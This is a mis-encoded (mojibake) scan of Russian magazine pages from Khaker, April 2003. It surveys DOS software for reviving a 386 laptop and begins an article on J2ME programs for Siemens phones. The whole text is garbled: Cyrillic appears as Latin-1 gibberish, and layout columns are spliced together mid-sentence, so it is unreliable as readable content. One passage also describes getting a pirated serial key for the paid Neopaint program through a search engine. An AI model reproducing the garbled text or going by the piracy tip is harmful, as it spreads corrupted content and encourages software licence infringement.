Ïîñëå ïðîñòåéøåé èíñòàëëÿöèè è ïåðâîãî çàïóñêà ïðîãè<br />
íåîáõîäèìî âûáðàòü óäîáíûé ãðàôè÷åñêèé ðåæèì è íà-<br />
÷àòü ïðîöåäóðó Wizard. Ïðèäåòñÿ ïîñòàâèòü íåêîòîðîå<br />
êîëè÷åñòâî ãàëî÷åê â íóæíûõ ìåñòàõ äëÿ íàñòðîéêè çâîíèëêè,<br />
ïî÷òû è ïðî÷èõ ôóíêöèé ýòîé ïðîãè, íî ÿ äóìàþ,<br />
òû ñ ýòèì ñïðàâèøüñÿ. Äîïîëíèòåëüíûå ìîäóëè óñòàíàâëèâàþòñÿ<br />
èç ñïåöèàëüíîãî èíñòàëëÿòîðà Àðàõíû â ðàçäåëå<br />
óòèëèò ïðîãðàììû. Äëÿ ïîëíîöåííîé ïîääåðæêè ðóññêîãî<br />
ÿçûêà ñêà÷àé äâà ìîäóëÿ - cp1251.apm è koi8.apm<br />
è óñòàíîâè èõ. Ïîñëå ýòîé ïðîöåäóðû ïðîáëåì ñ «âåëèêèì<br />
è ìîãó÷èì» áûòü íå äîëæíî.<br />
ÅÑÒÜËÈ<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
:)<br />
ÄÎÑÎÌ?..<br />
... ÈËÈ ÊÀÊ "ÏÐÅÂÐÀÒÈÒÜ" 386-É ÍÎÓÒÁÓÊ Â IPAQ :)<br />
È ýòî íå øóòêà, òî÷íåå íå ñîâñåì øóòêà... Êîíå÷íî, ñóïåðêðàñèâûõ êàðòèíîê à-ëÿ XP íèêòî íå îáåùàåò, íî ïîëíîöåííàÿ ñåðüåçíàÿ<br />
ðàáîòà ñ òàêèì äðåâíèì æåëåçîì âïîëíå ðåàëüíà!<br />
"...386-é ïèñþê, 6 ìåòðîâ ìîçãîâ... ìäà... Âèíäà íå âñòàíåò..." – ïîäóìàåøü òû è óñìåõíåøüñÿ. À çðÿ: âåäü åñòü DOS - íà ïåðâûé<br />
âçãëÿä íåâçðà÷íûé è òàèíñòâåííûé äëÿ ïîäàâëÿþùåãî áîëüøèíñòâà ñîâðåìåííûõ þçåðîâ. Ñëûøó âîçãëàñû òèïà "ÄÎÑ - ÀÖÒÎÉ,<br />
ÕÐ - ÊÓË!", íî âñå æå ðåêîìåíäóþ ïðî÷åñòü ýòó ñòàòüþ äî êîíöà è ïîïûòàòüñÿ íà äåëå ïîïðîáîâàòü îæèâèòü "òðåøêó" èëè "÷åòâåðêó",<br />
òåì áîëåå ÷òî 386-ÿ íîòåáÿêà, ê ïðèìåðó, íà Ñàâåëêå, ñòîèò îêîëî äâóõ òûñÿ÷ ðóáëåé, ÷òî, ñîãëàñèñü, ñîâñåì íåäîðîãî.<br />
Ïî ñóòè Arachne ÿâëÿåòñÿ ãðàôè÷åñêîé îáîëî÷êîé äëÿ<br />
ÄÎÑà ñî ñâîåãî ðîäà MDI-èíòåðôåéñîì, òàê êàê ïðÿìî èç<br />
áðàóçåðà ïîñëå ñîåäèíåíèÿ ñ Ñåòüþ ìîæíî çàïóñêàòü äîïîëíèòåëüíûå<br />
ïðîãè - ìîäóëè (êàæäóþ â ñâîåì îêíå) è<br />
ðàáîòàòü ñ íèìè.<br />
Arachne èìååò ñâîåîáðàçíûé, íî ïðèÿòíûé èíòåðôåéñ,<br />
ïðè÷åì ñ ïîääåðæêîé ñêèíîâ. È âîîáùå - âî âðåìÿ çàãðóçêè<br />
ñòðàíèö ìíå ëè÷íî áîëüøå íðàâèòñÿ íàáëþäàòü<br />
ðóíè÷åñêîãî âèäà èêîíêè è òàèíñòâåííî âñïûõèâàþùèå â<br />
íèõ ìîëíèè, íåæåëè ñêó÷íîå âðàùåíèå "øàðèêà" â<br />
Internet Explorer. È ãëàâíîå - íà äâîðå XXI âåê è ÕÐ, à<br />
Arachne ïðîäîëæàåò ñîâåðøåíñòâîâàòüñÿ!<br />
<br />
Åñëè òåáÿ íå óñòðàèâàåò âïîëíå ñåðüåçíûé ãðàôè÷åñêèé<br />
ïî÷òîâèê Àðàõíû, ïðåäëàãàþ àëüòåðíàòèâó. Òåì áîëåå<br />
÷òî ìåéëåðîâ äëÿ ÄÎÑà âåëèêîå ìíîæåñòâî! Òóò è<br />
NetMail, è ñîëèäíûé Pegasus Mail, è ïîðòèðîâàííûå èç<br />
Ëèíóõà Mutt è Pine. Îñòàíîâëþñü íà ñðàâíèòåëüíî ïðîñòîì<br />
ïî÷òîâèêå POPmail.<br />
Ïðîãðàììà áåñïëàòíàÿ (â îòëè÷èå îò Àðàõíû). Òðåáîâàíèÿ<br />
ê êîíôèãóðàöèè êîìïüþòåðà: IBM PC (ñóùåñòâóåò è<br />
âåðñèÿ äëÿ Macintosh), 512 Êá ÎÇÓ (ðåêîìåíäóåòñÿ 640<br />
Êá), 500 Êá äèñêîâîãî ïðîñòðàíñòâà (íî ÷åì áîëüøå, òåì<br />
ëó÷øå), ìîäåì èëè ñåòü, ïàêåòíûé äðàéâåð. Ïðè çàïóñêå<br />
ïåðåä íàìè ïðåäñòàåò ïî÷òîâèê ñ êëàññè÷åñêèì èíòåðôåéñîì<br />
- ïðèåì, îòïðàâêà, óäàëåíèå, îòâåò, ïåðåñûëêà,<br />
îòïðàâêà îäíîãî ñîîáùåíèÿ íåñêîëüêèì ïîëüçîâàòåëÿì.<br />
POPmail ïîääåðæèâàåò òàêæå è ïðèêðåïëåíèå ôàéëîâ ê<br />
ïèñüìàì. Íà ìîé âçãëÿä, ýòî äîñòîéíàÿ ïðîãà, ìàëî â<br />
÷åì óñòóïàþùàÿ ìåéëåðàì äëÿ Windows.<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
<br />
Ñðàçó õî÷ó îáðàäîâàòü ëþáèòåëåé îíëàéíîâîãî îáùåíèÿ<br />
– ñïåöèàëüíûé ìîäóëü äëÿ Arachne îò êîìïàíèè LADsoft<br />
(http://members.tripod.com/~ladsoft/lsicq) ïîçâîëÿåò ðàáîòàòü<br />
ñ êîíñîëüíîé àñüêîé Lsicq îäíîâðåìåííî ñ ïðîñìîòðîì<br />
âåá-ñòðàíèö. (Ðàçóìååòñÿ, ïðèäåòñÿ ðàáîòàòü<br />
ñ áðîäèëêîé è àñüêîé ïî î÷åðåäè, íî â îäíîé ïðîãðàììå,<br />
à äëÿ ÄÎÑà ýòî óæå ñåðüåçíûé ïëþñ!)<br />
Ñóùåñòâóåò òàêæå ïàêåò dosmicq.exe (http://htmlman.firenze.net/english/download.htm),<br />
êîòîðîé ÿâëÿåòñÿ àâòîíîìíîé<br />
ïðîãðàììîé ñî âñòðîåííîé çâîíèëêîé. Ïîñëå ðàñïàêîâêè<br />
ýòîãî åõå’øíèêà è çàïóñêà ôàéëà newmicq.bat âîçíèêàåò<br />
äèàëîã íàñòðîéêè ïàðàìåòðîâ äîçâîíà - ýòî çâîíèëêà<br />
NetDial. Îòâåòèâ íà âîïðîñû, íóæíî çàïóñòèòü ñâåæåñîçäàííûé<br />
ôàéë micqdial.bat è - âïåðåä! Ôóíêöèè ÄÎ-<br />
Ñîâñêîé àñüêè îãðàíè÷åíû, íî ñâîå ãëàâíîå ïðåäíàçíà-<br />
÷åíèå - âîçìîæíîñòü îáùåíèÿ â ðåàëüíîì âðåìåíè - îíà<br />
âûïîëíÿåò. È íèêàêèõ áàííåðîâ :).<br />
<br />
Òóò ÿ ìîã äàæå íè÷åãî è íå ïðåäñòàâëÿòü, ïîñêîëüêó íåòðóäíî<br />
äîãàäàåòñÿ, ÷òî Lexicon forever! :) Âïðî÷åì, ñóùåñòâóþò<br />
ðåäàêòîðû, êîòîðûå, èìõî, íè÷óòü íå õóæå íàøåãî «ñîîòå÷åñòâåííèêà».<br />
Âîçüìåì, ê ïðèìåðó, Aurora è Breeze. Ñî ñòàíäàðòíûìè<br />
«ðåäàêòîðñêèìè» îáÿçàííîñòÿìè îáå ýòè ïðîãè<br />
ñïðàâëÿþòñÿ ïðåâîñõîäíî, à Aurora âäîáàâîê åùå è íàäåëåíà<br />
äîïîëíèòåëüíûìè ôóíêöèÿìè (ïîäñâåòêà ñèíòàêñèñà,<br />
hex-ðåäàêòîð), êîòîðûå ìîãóò çàèíòåðåñîâàòü ïðîãðàììèñòîâ<br />
è âåá-äèçàéíåðîâ. Íåñëîæíàÿ èíñòàëëÿöèÿ, ìàêñèìàëüíî<br />
óïðîùåííàÿ íàñòðîéêà ïîä ñåáÿ, ïðèâû÷íûé ëþáèòåëÿì<br />
Word'a èíòåðôåéñ... Îïÿòü ñëûøó íåîäîáðèòåëüíîå: "Àöòîé,<br />
ïîä ÄÎÑîì ïèñàòü íåóäîáíî..." Íå ñîãëàøóñü. Ïî ñðàâíåíèþ<br />
ñ Word’îì - äà, ìîæåò è íåóäîáíî. Îäíàêî ëó÷øå òàê,<br />
÷åì òûêàòü «êîâûðÿëî÷êîé» â ýêðàí÷èê iPAQ :).<br />
<br />
Ñêàæó ïî ñåêðåòó, ÿ ïîëòîðà ÷àñà èãðàëñÿ ñ ýòîé ïðîãðàììîé<br />
è óäèâëÿëñÿ, íàñêîëüêî Neopaint (www.neosoftware.com)<br />
ïîä DOS áîãà÷å ïî âîçìîæíîñòÿì òîãî æå<br />
Paint èç 2000 Îêîøåê. Îäíî ñîçäàíèå íå îñîáî ñëîæíûõ<br />
24 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
)<br />
)<br />
)<br />
Íåáîëüøîå ëèðè÷åñêîå îòñòóïëåíèå.  DOS’å îòñóòñòâóåò<br />
ïîääåðæêà ñåòè íà óðîâíå îïåðàöèîííîé ñèñòåìû.<br />
Ýòîò íåäîñòàòîê ïîìîæåò èñïðàâèòü ñïåöèàëüíàÿ ïðîãà -<br />
ïàêåòíûé äðàéâåð, ñâîé äëÿ êàæäîé ñåòåâîé êàðòû è äëÿ<br />
SLIP/PPP-ñîåäèíåíèé. Â Ñåòè èõ ìîæíî íàéòè íà ëþáîì<br />
îáúåìíûõ îáúåêòîâ è âðàùåíèå èõ âîêðóã âûáðàííîé îñè<br />
÷åãî ñòîèò! À êîëëåêöèÿ ãîòîâûõ ê âíåäðåíèþ â ðèñóíîê<br />
îáúåêòîâ?!! Ýõ! Îïå÷àëèëî îäíî - ïðîãðàììà ïëàòíàÿ,<br />
äåíåã ïðîñèò. Íî ÿ êàê-òî çàøåë íà Ðàìáëåð, íàáðàë<br />
Neopaint è â îòâåòå íà çàïðîñ óâèäåë: ñåðèéíèê... ñåðèéíèê...<br />
Íà äóøå ìîìåíòàëüíî ïîëåã÷àëî, è Neopaint ñðàçó<br />
æå ðåçêî ñêàêíóëà ââåðõ â ìîåì ëè÷íîì ÄÎÑîâñêîì<br />
"ñîôò-õèò-ïàðàäå".<br />
<br />
À òåïåðü õî÷ó îáðàòèòü òâîå âíèìàíèå íà Mxplay<br />
(http://mpxplay.tripod.com) - óíèêàëüíûé â ñâîåì ðîäå<br />
ïðîèãðûâàòåëü ïðàêòè÷åñêè ëþáûõ çâóêîâûõ ôàéëîâ. Îí<br />
îáåñïå÷èâàåò ñòàíäàðòíûé íàáîð ôóíêöèé, âêëþ÷àÿ óïðàâëåíèå<br />
ïðè ïîìîùè ìûøè è êëàâèàòóðû (à òàêæå<br />
äæîéñòèêà èëè óñòðîéñòâà, ïîäêëþ÷àåìîãî â ïîñëåäîâàòåëüíûé<br />
ïîðò), ðàáîòó ñ ïëåéëèñòàìè, è èìååò èçþìèíêó<br />
– âñòðîåííûé àíàëèçàòîð ñïåêòðà. Îò ïëååðà ïîä ÄÎÑ ÿ<br />
òàêîãî íå îæèäàë. Îäèí èíäèêàòîð çàãðóçêè ïðîöåññîðà<br />
÷åãî ñòîèò (ÿ óæ íå ãîâîðþ ïðî åãî êðàéíå íèçêèå ïîêàçàíèÿ)!<br />
 èíòåðíåòå îòìå÷àþò îäíó äîâîëüíî èíòåðåñíóþ<br />
îñîáåííîñòü Mpxplay - âîçìîæíîñòü âûâîäà èíôîðìàöèè<br />
î ïðîèãðûâàåìîé äîðîæêå íà ÆÊ-èíäèêàòîð, ïîäêëþ÷åííûé<br />
ê ïàðàëëåëüíîìó ïîðòó, ÷òî ïîçâîëÿåò ðàáîòàòü äàæå<br />
áåç âèäåîàäàïòåðà è ìîíèòîðà. Ñëåäóåò òîëüêî óáåäèòüñÿ,<br />
÷òî ïðîãà ïîääåðæèâàåò òâîþ çâóêîâóõó, è âñå! Ìîæíî<br />
íàñëàæäàòüñÿ ëþáèìîé ìóçûêîé.<br />
<br />
 ýòîé îáëàñòè áåññïîðíûì ëèäåðîì ñ÷èòàåòñÿ Quick<br />
View Pro (www.multimediaware.com), ïîðàæàþùèé ñâîèìè<br />
ñèñòåìíûìè òðåáîâàíèÿìè è êîëè÷åñòâîì ïîääåðæèâàåìûõ<br />
ãðàôè÷åñêèõ è ìóëüòèìåäèéíûõ ôîðìàòîâ è êîäåêîâ.<br />
Ïðîãðàììà çàïóñêàåòñÿ íà êîìïüþòåðå ñ ïðîöåññîðîì<br />
80386, ëþáîé VGA-ñîâìåñòèìîé âèäåîêàðòîé (æåëà-<br />
ftp-ñàéòå.  ñëó÷àå èñïîëüçîâàíèÿ Àðàõíû âñå óæå ñõâà-<br />
÷åíî, îñòàâøåìóñÿ æå ñ ÄÎÑîì îäèí íà îäèí ïðèäåòñÿ<br />
ðåøàòü ýòó ïðîáëåìó ñàìîìó. Íî âñå íå òàê ñòðàøíî :)!<br />
Åñëè ó òåáÿ åñòü ìîäåì (æåëàòåëüíî âíåøíèé, ñ íèì<br />
ìåíüøå ïðîáëåì), òî ñêà÷àé ïàêåò ïðîãðàìì Bobcat<br />
òåëüíî VESA-compatible), îïåðàöèîííîé ñèñòåìîé DOS<br />
3.0 èëè âûøå. Íàëè÷èå SoundBlaster-ñîâìåñòèìîé çâóêîâîé<br />
êàðòû òàêæå ïðèâåòñòâóåòñÿ.<br />
Quick View ÿâëÿåòñÿ ãðàôè÷åñêèì ïðîñìîòðùèêîì, ïðîèãðûâàòåëåì<br />
ðàçíîîáðàçíûõ ìóëüòèìåäèéíûõ ôàéëîâ (â òîì<br />
÷èñëå è mp3), íî ãëàâíîå - îáåñïå÷èâàåò ïðîñìîòð ôèëüìîâ<br />
ôîðìàòà mpeg4 â ÷èñòîì ÄÎÑå íà ñòàðîì æåëåçå! Åñëè<br />
áû ñàì íå ïîïðîáîâàë - íè çà ÷òî áû íå ïîâåðèë! Îäíàêî<br />
ôàêò - ïðîãðàììà óñïåøíî êðóòèò ôèëüìû íà ñàìîé<br />
îáû÷íîé ÷åòâåðêå (õîòÿ äîëæåí ïðèçíàòüñÿ - ïîëíîýêðàííûé<br />
ðåæèì ó ìåíÿ ñìîòðåëñÿ ëó÷øå âñåãî â ÷åðíî-áåëîì<br />
âàðèàíòå - èìååòñÿ â QuickView è òàêàÿ ôèøêà!).<br />
Îáû÷íî ïðîáëåì ñ îïðåäåëåíèåì âèäåî è ïðîöåññîðà<br />
íåò, à âîò ñî çâóêîì ïðèäåòñÿ ïîâîçèòüñÿ, çàäàâàÿ ïàðàìåòðû<br />
çâóêîâóõè âðó÷íóþ. Î òîì, êàê ýòî ñäåëàòü, ìîæíî<br />
óçíàòü èç î÷åíü ïîäðîáíîé äîêóìåíòàöèè. Çàîäíî âñïîìíèøü,<br />
÷òî â ÄOCe êëþ÷åé çàïóñêà ê êîíñîëüíûì ïðîãðàììàì<br />
êóäà áîëüøå, ÷åì âèçóàëüíûõ íàñòðîåê.<br />
Ïðîñòîé è ïîíÿòíûé èíòåðôåéñ â ñòèëå íåçàáâåííîãî<br />
Íîðòîíà ïîçâîëÿåò âûáðàòü íóæíûé ôàéë äëÿ âîñïðîèçâåäåíèÿ.<br />
Ïîääåðæèâàåìûå ðàñøèðåíèÿ îáû÷íî ïîäñâå÷èâàþòñÿ<br />
áåëûì öâåòîì. Ñìåëî äàâèì Enter íà ôèëüìå (êëèïå,<br />
ïåñíå, êàðòèíêå) è óñòðàèâàåìñÿ ó ýêðàíà ïîóäîáíåå.<br />
<br />
À åùå ÿ áû ïîðåêîìåíäîâàë óñòàíîâèòü íà ñâîþ "êðóòóþ"<br />
òðåøêó SkyGlobe - ñàìûé áûñòðûé ïëàíåòàðèé ïîä DOS!<br />
Ýòó ëþáîïûòíóþ ïðîãó ÿ îòêðûë äëÿ ñåáÿ ñîâåðøåííî<br />
ñëó÷àéíî, êîãäà èñêàë àëüòåðíàòèâó âèíäîçíîé StarCalc.<br />
SkyGlobe êðàéíå íåòðåáîâàòåëüíà ê ðåñóðñàì êîìïüþòåðà:<br />
äëÿ íîðìàëüíîé ðàáîòû äîñòàòî÷íî äàæå äâóøêè è<br />
ìîíîõðîìíîãî ìîíèòîðà. Ìíîæåñòâî íàñòðîåê ïîçâîëÿþò<br />
íàèëó÷øèì îáðàçîì ïîêàçàòü íà ýêðàíå çâåçäíîå íåáî.<br />
Ìîæíî çàäàòü ëþáóþ äàòó è âðåìÿ íàáëþäåíèÿ (ò.í. ìàøèíà<br />
âðåìåíè - îäíà èç îáÿçàòåëüíûõ ôóíêöèé ëþáîãî<br />
óâàæàþùåãî ñåáÿ ïëàíåòàðèÿ). Ïðè íàëè÷èè SVGA-ìîíèòîðà<br />
ïðîãðàììó ìîæíî çàïóñòèòü â ðåæèìå 800õ600 ïðè<br />
ïîìîùè êëþ÷à S. Äëÿ EGA-ìîíèòîðîâ - êëþ÷ E, à äëÿ ìîíîõðîìíûõ<br />
- êëþ÷ Ì.<br />
<br />
Õîòÿ êàëüêóëÿòîð óæå ïðèñóòñòâóåò â êà÷åñòâå áîíóñà â<br />
ïðîãðàììå POPmail, òåáå íàâåðíÿêà çàõî÷åòñÿ èìåòü íà<br />
ñâîåì êîìïüþòåðå ïîëíîöåííûé ñ÷åòíûé èíñòðóìåíò.<br />
Î÷åíü ñîâåòóþ Scalc – óäîáíûé ñóïåðêàëüêóëÿòîð, íàïè-<br />
ñàííûé íàøèì ñîîòå÷åñòâåííèêîì. Ðàñïðîñòðàíÿåòñÿ<br />
áåñïëàòíî. Ïðîñòî ðàçàðõèâèðóåøü ñîäåðæèìîå<br />
Scalc.rar, çàïóñêàåøü exe’øíèê è íà÷èíàåøü ñ÷èòàòü. Æåëàòåëüíî<br />
– ÷òî-íèáóäü öåííîå. Íàïðèìåð, äåíåæêè.<br />
<br />
×òî îò÷èòûâàòü? Åñòåñòâåííî, âðåìÿ. Ïîñìîòðè íà<br />
ñêðèíøîò – ïðàâäà, ïðèÿòíûå ÷àñèêè? Îíè âûïîëíÿþò<br />
ðîëü äèíàìè÷åñêèõ îáîåâ èëè ñêðèíñåéâåðà, ðàáîòàþùåãî<br />
â òî âðåìÿ, êîãäà òâîé êîìïüþòåð ïðîñòàèâàåò áåç äåëà.<br />
Æàëü, ÷òî ñòðàíè÷êó èõ àâòîðà ìíå íàéòè íå óäàëîñü.<br />
À ñàì ÿ óæå è íå ïîìíþ, ãäå âçÿë ôàéë Clock.exe, ïîñëå<br />
çàïóñêà êîòîðîãî íà Ðàáî÷åì ñòîëå âîçíèêàåò òàêàÿ âîò<br />
êàðòèíêà. Íî íå ïå÷àëüñÿ, ýòîò ôàéëèê (êàê è äðóãèå ïðîãè,<br />
î êîòîðûõ øëà ðå÷ü â ýòîé ñòàòüå) ìû çàáîòëèâî ïîëîæèëè<br />
íà íàø äèñê.<br />
<br />
<br />
(http://www.fdisk.com/doslynx) è ïðîáëåìà äîçâîíà è ïàêåòíîãî<br />
äðàéâåðà â ñëó÷àå äèàëàïà îòïàäåò ñàìà ñîáîé.<br />
Ïàêåò Bobcat çàìå÷àòåëåí åùå òåì, ÷òî â íåì åñòü ïðàêòè÷åñêè<br />
âñå ñàìîå íåîáõîäèìîå äëÿ íà÷àëà óñïåøíîé<br />
ðàáîòû â Ñåòè - òåêñòîâûé áðàóçåð Lynx è Telnet-êëèåíò.<br />
Âîò ìû è ïîäîøëè ê êîíöó íàøåãî "õèò-ïàðàäà". Óñòàíîâè<br />
íà ñâîé 386-é íîóòáóê îïèñàííûé âàøå ñîôò, äîáàâü ñòàðûé<br />
äîáðûé Íîðòîí, è òâîÿ ìàøèíà çàïðîñòî ïåðåïëþíåò<br />
ïî ñâîèì âîçìîæíîñòÿì âñå òîò æå iPAQ. È ýòî íåñìîòðÿ<br />
íà òî, ÷òî íàø ñïèñîê ïðîãðàìì äàëåêî íå ïîëîí! Äëÿ ÄÎ-<br />
Ñà íàïèñàíî îãðîìíîå êîëè÷åñòâî óòèëèò, èãð, íàó÷íîãî<br />
ñîôòà è äàæå ìíîãîçàäà÷íûõ ãðàôè÷åñêèõ îáîëî÷åê! Òàê<br />
÷òî åñëè âäðóã äëÿ æèçíè ïîä ÄÎÑîì òåáå áóäåò ÷åãî-òî<br />
íå õâàòàòü, òî, ñêîðåå âñåãî, ëèøü ïîòîìó, ÷òî<br />
òû áûë íåäîñòàòî÷íî óñåðäåí â ñâîèõ ïîèñêàõ<br />
ïîäõîäÿùåé ñîôòèíû.<br />
Äî ñèõ ïîð íà áåñêðàéíèõ ïðîñòîðàõ èíåòà ìîæíî<br />
âñòðåòèòü ìíîãî ñàéòîâ, êîòîðûå áóäóò èíòåðåñíû<br />
ïîêëîííèêàì MS-DOS. Íàèáîëåå âûäàþùèåñÿ èç íèõ:<br />
FDISK.COM<br />
www.fdisk.com/doslynx - ñîëèäíûé ðåñóðñ ñ ïðîãðàììàìè<br />
ïîä ÄÎÑ íà ëþáîé âêóñ<br />
OLDGAMES<br />
http://oldgames.mail.zp.ua/default.htm - èãðû... Ïîä<br />
ÄÎÑ èõ âåëèêîå ìíîæåñòâî. Ñàìûå ïîïóëÿðíûå èç<br />
íèõ - íà ýòîì ñàéòå.<br />
ÑÀÉÒ ÎÁ ÎÑ DOS<br />
http://dospage.by.ru/index.shtm - õîðîøèé ðóññêîÿçû÷íûé<br />
ñàéò î ÄOCå, ñäåëàííûé ñ ëþáîâüþ ê ýòîé<br />
îïåðàöèîííîé ñèñòåìå.<br />
DOS-ïðîãðàììû äëÿ ÀÒ/ÕÒ ìàøèí ñ MS-DOS<br />
www.386.by.ru - õîðîøàÿ ïîäáîðêà ÄÎÑîâñêèõ ïðîãðàìì<br />
ÑÀÉÒ ÊÎÌÏÜÞÒÅÐÍÎÉ ÈÑÒÎÐÈÈ<br />
www.fdd5-25.narod.ru - óíèêàëüíàÿ êîëëåêöèÿ ñòàðîãî<br />
ñîôòà!<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit><br />
25
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
PC_Zone<br />
ÌÎÁÈËÜÍÛÉ ÊÎÔÅ ÌÎÁÈËÜÍÛÉ<br />
Skylord<br />
ÑÀÌ ÑÅÁÅ<br />
(sky_lord@mail.ru)<br />
ÈÌÈÒÀÒÎÐ<br />
<br />
Íå ìíîãèå çíàþò, ÷òî îáû÷íûé ìîáèëüíûé òåëåôîí -<br />
ýòî, ïî ñóòè, íàñòîÿùèé êîìïüþòåð, ñî ñâîèì ïðîöåññîðîì,<br />
ïàìÿòüþ è ôëåø-ìèêðîñõåìîé âìåñòî õàðäà. Òàê<br />
ïî÷åìó áû íå çàñòàâèòü ýòîò êîìï ðàáîòàòü èìåííî òàê,<br />
êàê ýòîãî õî÷åòñÿ íàì, à íå åãî ïðîèçâîäèòåëþ? Ëåò<br />
ïÿòü íàçàä ýòî êàçàëîñü ïî÷òè ôàíòàñòèêîé, íî ñ íåäàâíèõ<br />
ïîð - ýòî âïîëíå ïðèâû÷íàÿ ðåàëüíîñòü, è òû ìíîãîå<br />
òåðÿåøü, åñëè íå èñïîëüçóåøü ñâîé òåëåôîí íà âñå ñòî.<br />
Ìíîãèå ïîñëåäíèå ìîäåëè ìîáèëüíèêîâ ïîääåðæèâàþò<br />
òåõíîëîãèþ J2ME (Java 2 Micro Edition), ïðèõîäÿùóþñÿ<br />
ìëàäøåé ñåñòðîé áîëüøîé ßâå è ïîçâîëÿþùóþ èñïîëíÿòü<br />
íà òåëåôîíå æåëåçî-íåçàâèñèìûé ñîôò, çàêà÷èâàåìûé<br />
þçåðîì. Ïðî òåîðèþ âñåãî ýòîãî äåëà ìîæåøü<br />
ïî÷èòàòü â Ñåòè, ãäå-íèáóäü, íàïðèìåð, íà<br />
www.midlet.ru, à ìû ñ òîáîé ïåðåéäåì ñðàçó ê ïðàêòèêå.<br />
Âî-ïåðâûõ, î êàêèõ èìåííî òåëåôîíàõ ìû áóäåì ãîâîðèòü?<br />
Ñåé÷àñ J2ME ïîääåðæèâàþò äåñÿòêà äâà-òðè àïïàðàòîâ,<br />
íî â êà÷åñòâå îáúåêòà ñâîåãî ïðèñòàëüíîãî âíèìàíèÿ<br />
ÿ âûáðàë òåëåôîíû ôèðìû Ñèìåíñ, ìîäåëè Siemens<br />
M50/MT50 è Siemens C55, êàê ñàìûå íà ñåãîäíÿøíèé<br />
äåíü ðàñïðîñòðàíåííûå è äîñòóïíûå ïî öåíå øèðîêîìó<br />
êðóãó ïîòðåáèòåëåé (óæ ñòî áàêñîâ íà á/ó ìîáèëó ìîæíî<br />
íàêîïèòü!). Ïî÷åìó èìåííî ýòà ôèðìà è ýòè òåëåôîíû,<br />
ñïðîñèøü òû? Äà ïîòîìó, ÷òî ó äðóãèõ ïðîèçâîäèòåëåé,<br />
êàêèìè áû êðóòûìè îíè íè áûëè, ñåé÷àñ íå èìååòñÿ<br />
ñðàâíèìûõ îäíîâðåìåííî ïî öåíå è ïî êà÷åñòâó àíàëîãîâ.<br />
Âåðíåå, åñòü, êîíå÷íî, íî ýòè òåëåôîíû (òèïà Nokia<br />
3510i èëè Motorola C336) ïîêà åùå î÷åíü ìàëî ðàñïðîñòðàíåíû<br />
ó íàñ â ñòðàíå. Áåçóñëîâíî, ñóùåñòâóåò Nokia<br />
3410, íî åå ßâà - ýòî óæàñ. Âñå åå äîñòîèíñòâà ïåðå÷åðêèâàþòñÿ<br />
îäíèì ôàêòîì: ìàêñèìàëüíûé ðàçìåð çàãðóæàåìîãî<br />
ïðèëîæåíèÿ – 30 êá. Íà ÷òî-òî ñåðüåçíåå èãðû â<br />
ïÿòíàøêè ýòîãî, êîíå÷íî, íå õâàòèò.<br />
Òàê ÷òî îïðåäåëèëèñü - áåðåì Ì50 è Ñ55 (à ýòè òåëåôîíû<br />
ñåé÷àñ äåéñòâèòåëüíî î÷åíü ïîïóëÿðíû!) è ñìîòðèì,<br />
÷òî â íèõ åñòü.<br />
ÊÎÔÅ<br />
Äóìàåøü, òâîé òåëåôîí ñëóæèò<br />
ëèøü äëÿ òîãî, ÷òîáû ïðîæèãàòü ñ<br />
åãî ïîìîùüþ äåíüãè? Òåáå íàäîåëî<br />
óïðàæíÿòüñÿ âî âñòðîåííûõ òðåõ-÷åòûðåõ<br />
èãðàõ? Íå õâàòàåò e-mail-êëèåíòà<br />
èëè ICQ íà òåëåôîíå? Äóìàåøü, ýòî íåâîçìîæíî?<br />
À âîò è íåò! Ñåé÷àñ ÿ ðàññêàæó<br />
òåáå î òîì, êàê ñâîé íåäîðîãîé ìîáèëüíèê<br />
òû ëåãêèì äâèæåíèåì ðóêè ñìîæåøü ïðåâðàòèòü<br />
â òåëåôîí áèçíåñ-êëàññà èëè èãðîâîé<br />
äåâàéñ, íå õóæå Ãåéìáîÿ.<br />
ÏÐÅÂÀÐÀÙÀÅÌ ÑÎÒÎÂÛÉ Â ÊÏÊ<br />
Îäíàêî, åñëè ó òåáÿ äðóãîé òåëåôîí, íå ñïåøè áðîñàòü<br />
÷òåíèå: ÿçûê J2ME - ýòî åäèíûé ñòàíäàðò äëÿ âñåõ ïðîèçâîäèòåëåé,<br />
è ìíîãèå ïðîãðàììû è èãðû, íàïèñàííûå äëÿ<br />
îäíîãî ìîáèëüíèêà, áåç ïðîáëåì ïîéäóò íà äðóãîì, ïóñòü<br />
è ñ íåêîòîðûìè îãðàíè÷åíèÿìè. Âñå çàâèñèò îò õàðàêòåðèñòèê<br />
îáîðóäîâàíèÿ - íàïðèìåð, ðàçðåøåíèå ýêðàíà<br />
Siemens SL45 âûøå, ÷åì ó M50/C55, è áîëüøèíñòâî ïðîãðàìì<br />
íà íåì áóäóò âûãëÿäåòü îáðåçàííûìè ñíèçó. Íó è,<br />
ðàçóìååòñÿ, öâåòíàÿ èãðóøêà îò Nokia 7210 íå ñìîæåò äîáàâèòü<br />
êðàñîê ÷åðíî-áåëîìó ýêðàíó òâîåãî ìîáèëüíèêà.<br />
<br />
Ïðèëîæåíèå íà ßâå äëÿ òåëåôîíà íàçûâàåòñÿ ìèäëåòîì<br />
- îò ñëîâ MIDP (ïðîôèëü J2ME äëÿ ðàáîòû ñ ìîáèëüíèêàìè)<br />
è applet. ×èñòî ôèçè÷åñêè îí ñîñòîèò èç<br />
äâóõ ôàéëîâ: jad - îïèñàíèå ìèäëåòà, íåîáõîäèìîå,<br />
÷òîáû ñêà÷èâàòü åãî òåëåôîíîì èç Ñåòè ïî ïðîòîêîëó<br />
WAP , è jar - ñàì ìèäëåò. Õðàíÿòñÿ îíè íà âíóòðåííåì<br />
äèñêå òåëåôîíà - ôëåêñ-äðàéâå (<strong>fl</strong>ex-drive) â êàòàëîãå<br />
"java\jam" è èìåííî îòòóäà çàïóñêàþòñÿ, êîãäà òû ëåçåøü<br />
â ìåíþ "Èíòåðíåò/èãðû" - "Èãðû è äð.". Êàê äîáèðàòüñÿ<br />
íåïîñðåäñòâåííî äî ôëåêñà, ÿ ðàññêàæó òåáå<br />
